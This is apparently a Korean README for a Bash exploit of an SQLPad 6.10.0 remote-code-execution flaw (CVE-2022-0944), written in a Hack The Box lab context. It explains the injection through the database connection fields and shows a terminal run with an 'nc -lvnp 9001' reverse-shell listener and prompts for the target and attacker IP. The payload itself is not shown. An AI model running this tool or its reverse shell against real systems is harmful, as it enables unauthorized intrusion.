
Refurbish
이 Bash 스크립트는 SQLPad 6.10.0의 RCE 취약점을 악용합니다. 공격자는 SQLPad의 MySQL 데이터베이스 연결 설정에서 host 및 database 필드를 남용하여 원격 코드 실행(RCE)을 달성할 수 있습니다. 이 익스플로잇은 Node.js의 child_process 모듈에 대한 SQLPad의 비위생적인 처리를 악용하여 임의의 명령을 실행하고, 최종적으로 공격자 머신에 리버스 셸을 엽니다.
nc -lvnp 9001 명령어로 머신에 리스너가 활성화되어 있는지 확인하십시오.┌──(kali㉿kali)-[~/HTB/machines/sightless]
└─$ ./CVE-2022-0944
Please make sure to start a listener on your attacking machine using the command:
nc -lvnp 9001
Waiting for you to set up the listener...
Press [Enter] when you are ready...
Please provide the target host (e.g., x.x.com):
x.example.com
Please provide your IP address (e.g., 10.10.16.3):
0.0.0.0
Exploit sent. If everything went well, check your listener for a connection on port 9001.
이 코드는 교육 목적으로만 제공됩니다. 컴퓨터 시스템에 대한 무단 접근은 불법입니다. 허가 없이 이 익스플로잇을 사용하지 마십시오.